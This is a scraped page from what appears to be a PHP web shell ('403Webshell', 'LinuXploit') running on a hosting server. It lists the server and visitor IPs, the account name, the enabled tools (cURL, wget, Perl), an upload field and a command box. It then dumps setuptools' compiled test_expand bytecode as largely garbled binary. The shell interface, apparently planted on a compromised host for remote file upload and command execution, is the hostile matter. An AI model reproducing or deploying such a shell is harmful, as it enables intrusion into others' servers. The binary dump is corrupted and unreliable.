403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/setuptools/tests/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/setuptools/tests/config/__pycache__/test_expand.cpython-313.pyc
�

�h�"��"�SSKrSSKrSSKJr SSKrSSKJr SSKJr SSK	J
r
 SSKJr Sr
SrS	r"S
S5r\R"R%SS
S0SSS4SS0SSS40SSS40SSS4/5S5r\R"R%SS/SS .SS!14SS"/SS .1S#k4S$S%01S&k401S&k4/5S'5r\R"R%S(S)S*/S/04S)S+/S/04S,S-/S/S
S04S,S./S/S
S04S/S0/S1S2/S3S4S5.4S,S+/SS/S6S704/5S85rg)9�N)�Path)�	is_static)�expand)�find_package_path)�DistutilsOptionErrorc��UR5H3up#X-nURRSSS9 URUSS9 M5 g)NT)�exist_ok�parentszutf-8)�encoding)�items�parent�mkdir�
write_text)�files�root_dir�file�content�paths     �E/usr/lib/python3/dist-packages/setuptools/tests/config/test_expand.py�write_filesrsB������
����������4���6�����'��2�'�c��1Skn[UVs0sHo3S_M snU5 /SQnURU5 [[R"U55U:Xde[[R"X@55U:Xdegs snf)N>�a.ini�b.ini�
dir1/c.ini�dir1/file3.txt�dir1/dir2/a.ini�dir1/dir2/file2.txt�dir1/dir2/dir3/file1.txt�)z**/*.txtz[ab].*z**/[ac].ini)r�chdir�setr�
glob_relative)�tmp_path�monkeypatchr�k�patternss     r�test_glob_relativer(sz��
�E���&��1�B���&��1�4�H����h���v�#�#�H�-�.�%�7�7�7��v�#�#�H�7�8�E�A�A�A��'s�Bc��US-nUS-RSS9 US-R5 SSSS	.n[X25 [[	U5S
-5nURSS9 [SS0U5 UR5nUR
U5 [R"[U55S
:XdeSn[R"[US9 [R"S/5 SSS5 Sn[R"[US9 [R"S/5 SSS5 SSS5 [R"[U5U5S
:Xde[R"[WS9 [R"S/U5 SSS5 g!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   g=f)N�dir_�_dirT)r	�a.txt�a�b�c)r,z
dir1/b.txtzdir1/dir2/c.txt�secretszsecrets.txtzsecret keysza
b
czCannot access '.*\.\..a\.txt')�matchz../a.txtzCannot access '.*secrets\.txt'z../dir_secrets/secrets.txt)
r�touchrr�str�contextr!r�
read_files�list�pytest�raisesr)r$r%r*rr0�m�cannot_access_msg�cannot_access_secrets_msgs        r�test_read_filesr<(s����f��D�
�����t��,�
����� ����E�E�����3�t�9�y�(�)�G��M�M�4�M� ���
�.��8�	�	�	�	�!�	����
�� � ��e��-��:�:�:�<��
�]�]�/�7H�
I����z�l�+�J�%F�!�
�]�]�/�7P�
Q����;�<�=�R�
����T�%�[�$�/�9�<�<�<�	���+�3D�	E����:�,��-�
F�	E�J�
I��R�
Q��
�	��
F�	E�sI�AF8�F�*#F8�
F'�%F8�4G	�
F$	� F8�'
F5	�1F8�8
G�	
Gc��\rSrSr\R
R
S/SQ5S5rSr\R
R
SSS/5S5r	\R
R
S/S	Q5S
5r
SrSrg
)�TestReadAttr�E�example)s'__version__ = 'é'
raise SystemExit(1)
s?# -*- coding: utf-8 -*-
__version__ = 'é'
raise SystemExit(1)
s?# -*- coding: latin1 -*-
__version__ = '�'
raise SystemExit(1)
c�b�US-RU5 [R"SUS9S:Xdeg)Nzmod.pyzmod.__version__�r�é)�write_bytesr�	read_attr)�selfr@r$s   r�test_read_attr_encoding_cookie�+TestReadAttr.test_read_attr_encoding_cookieFs3��
�H�	�)�)�'�2���� 1�H�E��M�M�Mrc��SSSS.n[X15 UR5nURU5 [R"S5n[R"SSS05nSSS5 WS	:Xde[W5(deUS
S:XdeUSS
1:Xde[U5(de[R"SUS9S	:Xde[R"SSS0U5nUSS:Xdeg!,(df   N�=f)Nr zVERSION = '0.1.1'z@VALUES = {'a': 0, 'b': {42}, 'c': (0, 1, 1)}
raise SystemExit(1))�pkg/__init__.py�pkg/sub/__init__.pyzpkg/sub/mod.py�pkg.sub.VERSIONzlib.mod.VALUES�libzpkg/sub�0.1.1r-rr.�*rBr/)r�rP)rr4r!rrEr)rFr$r%rr9�version�valuess       r�test_read_attr�TestReadAttr.test_read_attrTs��!�#6�S�	
��	�E�$�
�
 �
 �
"�a�
�G�G�H���&�&�'8�9�G��%�%�&6��	�8J�K�F�	#��'�!�!�!��� � � � ��c�{�a�����c�{�r�d�"�"�"��� � � � ���� 1�H�E��P�P�P��!�!�"2�U�I�4F��Q���c�{�i�'�'�'�!#�
"�s�AC/�/
C=z3VERSION: str
VERSION = '0.1.1'
raise SystemExit(1)
z+VERSION: str = '0.1.1'
raise SystemExit(1)
c��SUS.n[X15 [R"SUS9nUS:Xde[U5(deg)Nr �rJrKrLrBrN)rrrEr)rFr$r@rrQs     r�test_read_annotated_attr�%TestReadAttr.test_read_annotated_attrpsM�� "�#*�
��	�E�$��"�"�#4�x�H���'�!�!�!���!�!�!�!r)zVERSION = (lambda: '0.1.1')()
z(def fn(): return '0.1.1'
VERSION = fn()
z#VERSION: str = (lambda: '0.1.1')()
c��SUS.n[XA5 URU5 [R"S5nUS:Xde[	U5(aeg)Nr rVrLrN)rr!rrEr)rFr$r%r@rrQs      r�test_read_dynamic_attr�#TestReadAttr.test_read_dynamic_attr�s\�� "�#*�
��	�E�$����(�#��"�"�#4�5���'�!�!�!��W�%�%�%�%�%rc�l�SSSS.n[X!5 SnSS0n[R"X4U5S:Xdeg	)
a
Sometimes the import machinery will import the parent package of a nested
module, which triggers side-effects and might create problems (see issue #3176)

``read_attr`` should bypass these limitations by resolving modules statically
(via ast.literal_eval).
z1from .main import func
from .about import versionz2import super_complicated_dep
def func(): return 42zversion = '42')zsrc/pkg/__init__.py�src/pkg/main.pyzsrc/pkg/about.pyzpkg.about.versionr �src�42N)rrrE)rFr$r�	attr_desc�package_dirs     r�test_import_order�TestReadAttr.test_import_order�sH��$X�T� 0�
��
	�E�$�'�	��5�k�����	��A�T�I�I�Ir�N)
�__name__�
__module__�__qualname__�__firstlineno__r7�mark�parametrizerGrSrWrZrb�__static_attributes__rdrrr>r>Es����[�[����	
�	�N�	�N�(�8�[�[����D�;�	
��	"��	"��[�[����	
��	&��	&�Jrr>)rar�module�return_valuer r^r]zpkg.mainrO�pkgrMzlib/main.py�
zsingle_module.py�
single_module�Fzflat_layout/pkg.pyzflat_layout.pkgiDc��UR[S05 USU30n[Xa5 [R"US3X!5nU"5R5U:Xdeg)N�modulesz,class Custom:
    def testing(self): return z.Custom)�setattr�sysrr�
resolve_class�testing)r%r$rarrlrmr�clss        r�test_resolve_classry�s_������Y��+�
�B�<�.�Q�R�E��� �
�
�
�&���1�;�
I�C��5�=�=�?�l�*�*�*r)�args�pkgs�.F)�where�
namespaces�other�dir1>rn�dir2rr~T>rnr�r�	dir1.dir2c�R�1Skn[UVs0sHoDS_M snU5 0nXS.UEnURSS/5n[[R"S0UD65U:XdeUH5n[X�U5n	[RRU	5(aM5e URSS/5V
s/sH<n
[X
-R55R[RS5PM> nn
[[R"SSU0UD65U:Xdegs snfs sn
f)N>rJ�other/__init__.py�dir1/dir2/__init__.pyr )r�fill_package_dirr}r|�/rd)r�getr"r�
find_packagesr�osr�exists�popr3�resolve�replace�sep)r$rzr{rr&ra�kwargsr}rn�pkg_path�ps           r�test_find_packagesr��s��
�E�
��&��1�B���&��1��K�"�
L�t�
L�F��J�J�w���&�E��v�#�#�-�f�-�.�$�6�6�6���$�S�x�@���w�w�~�~�h�'�'�'�'�����'�C�5�)�
�)�A�	�X�\�"�"�$�%�-�-�b�f�f�c�:�)�
�
�
�v�#�#�8�%�8�4�8�9�T�A�A�A��!'��
s�D�2AD$)rr}�expected_package_dirzpkg1/__init__.pyz
pkg1/other.pyzpkg2/__init__.pyzsrc/pkg1/__init__.pyzsrc/pkg1/other.pyzsrc/pkg2/__init__.pyzsrc1/pkg1/__init__.pyzsrc2/pkg2/__init__.py�src1�src2z	src1/pkg1z	src2/pkg2)�pkg1�pkg2r�zsrc/pkg1c�h�[UVs0sHoDS_M snU5 0nXSS.n[R"SSU0UD6n[UR	55[UR	55:XdeUH5n[X�U5n	[RRU	5(aM5e gs snf)Nr F)rr�r~r}rd)	rrr�r"rrr�rr�)
r$rr}r�r&�pkg_dirr�r{rnr�s
          r�test_fill_package_dirr��s���(��&��1�B���&��1��G�"�u�
U�F����6�e�6�v�6�D��w�}�}���3�';�'A�'A�'C�#D�D�D�D���$�S�8�<���w�w�~�~�h�'�'�'�'���'s�B/)r�ru�pathlibrr7�setuptools._staticr�setuptools.configr�setuptools.discoveryr�distutils.errorsrrr(r<r>rirjryr�r�rdrr�<module>r�s���	�
��
�(�$�2�1�3�B�&.�:aJ�aJ�H�����5�
�e��'��R�8�
����
�B�7�	�
��"�5�	�
!�#4�c�:�	��+��+��������5��	.���0@�A���=��	6�8P�Q�
��	�D�E�	�
2�3�	��B��B�2�����.�
�o�	.���r�:�
�0�	1�C�5�"�=�
 �"5�	6���"�e��M�
 �"8�	9�E�7�R��K�P�
$�&=�>�
�V�� �+�6�	
�$�%7�8�
�C�L�
�Z� �	
���&(�'�&(r

Youez - 2016 - github.com/yon3zu
LinuXploit